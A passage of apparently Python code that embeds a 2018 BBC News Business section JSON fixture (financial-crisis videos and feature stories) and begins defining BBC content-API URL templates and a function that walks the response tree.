"iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06kzzgb.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45503765", "shareUrl" : "http://www.bbc.co.uk/news/business-45503765", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45503765" } } }, { "eTag" : "872ab31523f86682ab7a6c86475e9c6c", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45499828", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536761642000, "site" : "/news", "name" : "'I earned more as a student than I have since'", "summary" : "Thirty-somethings' salaries are the worst affected by the 2008 financial crisis.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "'I earned more as a student than I do now'", "iStatsCounter" : "news.business.media_asset.45499828.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/A919/production/_103398234_p06kzfns.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/A919/production/_103398234_p06kzfns.jpg", "altText" : "Carol-Ann Costello", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/A919/production/_103398234_p06kzfns.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06kzdpv", "type" : "bbc.mobile.news.video", "duration" : 113000, "caption" : "'I earned more as a student than I have since'", "externalId" : "p06kzdpx", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06kzhnv.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45499828", "shareUrl" : "http://www.bbc.co.uk/news/business-45499828", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45499828" } } }, { "eTag" : "c1e0f4d0da028106a4235171c2c4d7d8", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45489064", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536707982000, "site" : "/news", "name" : "Who was to blame for the financial crisis?", "summary" : "BBC Business editor Simon Jack explores who could have been to blame for the global financial crisis.", "passport" : { "category" : { "categoryName" : "Explainer" } }, "shortName" : "Who was to blame for the financial crisis?", "iStatsCounter" : "news.business.media_asset.45489064.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/10189/production/_103392956_p06kyh5t.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/10189/production/_103392956_p06kyh5t.jpg", "altText" : "Animated characters", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/10189/production/_103392956_p06kyh5t.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06kygbl", "type" : "bbc.mobile.news.video", "duration" : 130000, "caption" : "Who was to blame for the financial crisis?", "externalId" : "p06kygbp", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06kyh9l.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45489064", "shareUrl" : "http://www.bbc.co.uk/news/business-45489064", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45489064" } } }, { "eTag" : "473f066076c1f8fb30084bd13afb1a02", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45491531", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536724823000, "site" : "/news", "name" : "Mark Carney: No one can rule out another financial crisis", "summary" : "The Bank of England governor says history shows that another financial crisis could occur.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Carney: Can't rule out another crisis", "iStatsCounter" : "news.business.media_asset.45491531.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/14BE8/production/_103386948_p06kxhjm.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/14BE8/production/_103386948_p06kxhjm.jpg", "altText" : "Mark Carney", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/14BE8/production/_103386948_p06kxhjm.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06kxhc0", "type" : "bbc.mobile.news.video", "duration" : 146000, "caption" : "Bank of England governor Mark Carney says history shows no one can rule out another crisis", "externalId" : "p06kxhc2", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06kxhjm.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45491531", "shareUrl" : "http://www.bbc.co.uk/news/business-45491531", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45491531" } } }, { "eTag" : "4edeca24d9008e5b48ca172442c6f7bf", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45396884", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536621197000, "site" : "/news", "name" : "Using tools made me feel like a superwoman", "summary" : "One woman in New York is trying to encourage more girls to join the construction industry.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Using tools made me feel like a superwoman", "iStatsCounter" : "news.business.media_asset.45396884.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/F43F/production/_103372526_p06ktwgx.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/F43F/production/_103372526_p06ktwgx.jpg", "altText" : "Judaline Cassidy", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/F43F/production/_103372526_p06ktwgx.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06k4y1j", "type" : "bbc.mobile.news.video", "duration" : 94000, "caption" : "'Using tools gave me a sense of empowerment, almost like I became a superwoman'", "externalId" : "p06kzxdc", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06kzy6k.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45396884", "shareUrl" : "http://www.bbc.co.uk/news/business-45396884", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45396884" } } }, { "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "3c11c15d68ca94e68acb3819444736ff", "type" : "bbc.mobile.news.group.link", "shareUrl" : "https://www.bbc.co.uk/news/resources/idt-sh/The_lost_decade", "name" : "The financial crisis: The lost decade", "lastUpdated" : 1536673653000, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/6AE8/production/_103386372_skyline_getty.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/6AE8/production/_103386372_skyline_getty.jpg", "altText" : "London skyline", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/6AE8/production/_103386372_skyline_getty.jpg", "relations" : [ ] } } ], "allowAdvertising" : True, "iStatsLabels" : { } } }, { "eTag" : "4ff172421451975cf60a56081ebf59e4", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45485255", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536794308000, "site" : "/news", "name" : "The UK's growing tech trade ties with Israel", "summary" : "As the UK looks at developing more trade deals outside the EU after Brexit, its increasing ties with Israel could provide the model.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "The UK's growing tech trade ties with Israel", "iStatsCounter" : "news.business.story.45485255.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/AC6B/production/_103393144_hi048470912.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/AC6B/production/_103393144_hi048470912.jpg", "altText" : "A Tevva Motors lorry", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/AC6B/production/_103393144_hi048470912.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45485255", "shareUrl" : "http://www.bbc.co.uk/news/business-45485255", "summaryOverride" : " ", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45485255" } } }, { "eTag" : "59101451d072df52cf04e58083071fcf", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-44968514", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536708840000, "site" : "/news", "name" : "Who's winning the global race to offer superfast 5G?", "summary" : "China, the US and the UK are all vying to dominate the market for next-generation mobile networks.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Who's winning the global race to offer superfast 5G?", "iStatsCounter" : "news.business.story.44968514.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/8708/production/_103386543_gettyimages-932866170.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/8708/production/_103386543_gettyimages-932866170.jpg", "altText" : "Ice skaters racing", "caption" : "5G was showcased in a variety of ways during this year's Winter Olympics", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/8708/production/_103386543_gettyimages-932866170.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-44968514", "shareUrl" : "http://www.bbc.co.uk/news/business-44968514", "summaryOverride" : " ", "nameOverride" : "Who's winning the race to offer superfast 5G?", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "44968514" } } }, { "eTag" : "aafbb090461498eb3c5ee940e89aa59f", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45371502", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536708210000, "site" : "/news", "name" : "Why 12 is the magic number when it comes to composting", "summary" : "More and more packaging is claiming to be \"biodegradable\" or \"compostable\", but what does that really mean?", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Why 12 is the magic number when it comes to composting", "iStatsCounter" : "news.business.story.45371502.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/14C87/production/_103272158_finishedcompost-1.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/14C87/production/_103272158_finishedcompost-1.jpg", "altText" : "Hands holding compost", "copyrightHolder" : "Jenny Grant", "urn" : "urn:bbc:content:assetUri:asset:prodpb/14C87/production/_103272158_finishedcompost-1.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45371502", "shareUrl" : "http://www.bbc.co.uk/news/business-45371502", "summaryOverride" : " ", "nameOverride" : "The magic number when it comes to composting", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45371502" } } }, { "eTag" : "396066d47153b6da4bfd417b8910b495", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45481996", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536709005000, "site" : "/news", "name" : "Which universities will really impress the boss?", "summary" : "Which is the best university name in the world to put on a job application?", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Which universities will really impress the boss?", "iStatsCounter" : "news.business.story.45481996.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/5D6E/production/_103381932_graduation2.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/5D6E/production/_103381932_graduation2.jpg", "altText" : "Graduation", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/5D6E/production/_103381932_graduation2.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45481996", "shareUrl" : "http://www.bbc.co.uk/news/business-45481996", "summaryOverride" : " ", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45481996" } } }, { "eTag" : "28a6ba1dc80b086c9da23b523e274fb4", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45470799", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536620617000, "site" : "/news", "name" : "'A new bladder made from my cells gave me my life back'", "summary" : "Specialised printers are helping to create organic replacement body parts more quickly and safely.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "'A new bladder made from my cells gave me my life back'", "iStatsCounter" : "news.business.story.45470799.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/1774C/production/_103367069_lukemassella.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/1774C/production/_103367069_lukemassella.jpg", "altText" : "Luke Massella as a boy with his parents", "caption" : "Luke Massella has to undergo surgery multiple times as a boy", "copyrightHolder" : "Massella Family", "urn" : "urn:bbc:content:assetUri:asset:prodpb/1774C/production/_103367069_lukemassella.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45470799", "shareUrl" : "http://www.bbc.co.uk/news/business-45470799", "summaryOverride" : " ", "nameOverride" : "'A bladder made from my cells gave me my life back'", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45470799" } } }, { "eTag" : "8ae53ec3140a34497018511b693fda77", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-44846317", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536620930000, "site" : "/news", "name" : "The entrepreneur creating Ghana's next generation of inventors", "summary" : "Charles Ofori Antimpem is the inventor of a science set which is the size and price of a textbook which he now hopes to share with children across Africa.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "The entrepreneur behind Ghana's future inventors", "iStatsCounter" : "news.business.story.44846317.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/15F00/production/_102565898_15-year-oldprincessmakafui-right2.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/15F00/production/_102565898_15-year-oldprincessmakafui-right2.jpg", "altText" : "Princess Makafui and her friend use the science kit", "caption" : "Princess Makafui and her friend use the science kit", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/15F00/production/_102565898_15-year-oldprincessmakafui-right2.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-44846317", "shareUrl" : "http://www.bbc.co.uk/news/business-44846317", "summaryOverride" : " ", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "44846317" } } }, { "eTag" : "45cee75f4525061ed8357e4fbfe627c0", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45395216", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536534854000, "site" : "/news", "name" : "The dad who feeds his son burgers almost every day", "summary" : "A profile of Ethan Brown, the founder and boss of best-selling vegan burger company Beyond Meat.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "The dad who feeds his son burgers almost every day", "iStatsCounter" : "news.business.story.45395216.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/8887/production/_103315943_beyondmeat_ethanbrown_beyondburger.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/8887/production/_103315943_beyondmeat_ethanbrown_beyondburger.jpg", "altText" : "Ethan Brown", "copyrightHolder" : "Beyond Meat", "urn" : "urn:bbc:content:assetUri:asset:prodpb/8887/production/_103315943_beyondmeat_ethanbrown_beyondburger.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45395216", "shareUrl" : "http://www.bbc.co.uk/news/business-45395216", "summaryOverride" : " ", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45395216" } } }, { "eTag" : "fde50dab3052324b06fa1e57888bd63e", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.feature-main", "content" : { "id" : "/cps/news/business-45419105", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536274810000, "site" : "/news", "name" : "Are 'swipe left' dating apps bad for our mental health?", "summary" : "Dating apps are hugely popular around the world, but some think they're making many of us unhappy.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Are 'swipe left' dating apps bad for our mental health?", "iStatsCounter" : "news.business.story.45419105.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/15811/production/_103318088_gettyimages-871189020.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/15811/production/_103318088_gettyimages-871189020.jpg", "altText" : "Sad girl listening to music on her phone", "caption" : "Too many rejections on dating apps can lower our self-esteem, psychologists say", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/15811/production/_103318088_gettyimages-871189020.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45419105", "shareUrl" : "http://www.bbc.co.uk/news/business-45419105", "summaryOverride" : " ", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45419105" } } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } CPS_IDS = [ 'sport/front-page', 'news/business', 'news/entertainment_and_arts', 'news/world/australia', 'sport/boxing', 'news/politics/uk_leaves_the_eu', 'news/science_and_environment', 'news/technology', 'news/stories', 'news/wales', 'newyddion/front_page' ] CONTENT_API_TEMPLATE = 'http://content-api-a127.api.bbci.co.uk/asset/{}?api_key={}' TREVOR_API_TEMPLATE = 'http://trevor-producer-cdn.api.bbci.co.uk/content/cps/{}' LEVEL_INDENTERS = ['', '-', '---', '-----'] headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } def AddLabelIfExistToTree(existing_tree, label, obj): if label in obj: existing_tree[label] = obj[label] def walkTrevorResponseTree(jsonContent): tree_json = {} AddLabelIfExistToTree(tree_json, 'id', jsonContent) AddLabelIfExistToTree(tree_json, 'type', jsonContent) AddLabelIfExistToTree(tree_json, 'name', jsonContent) AddLabelIfExistToTree(tree_json, 'format', jsonContent) 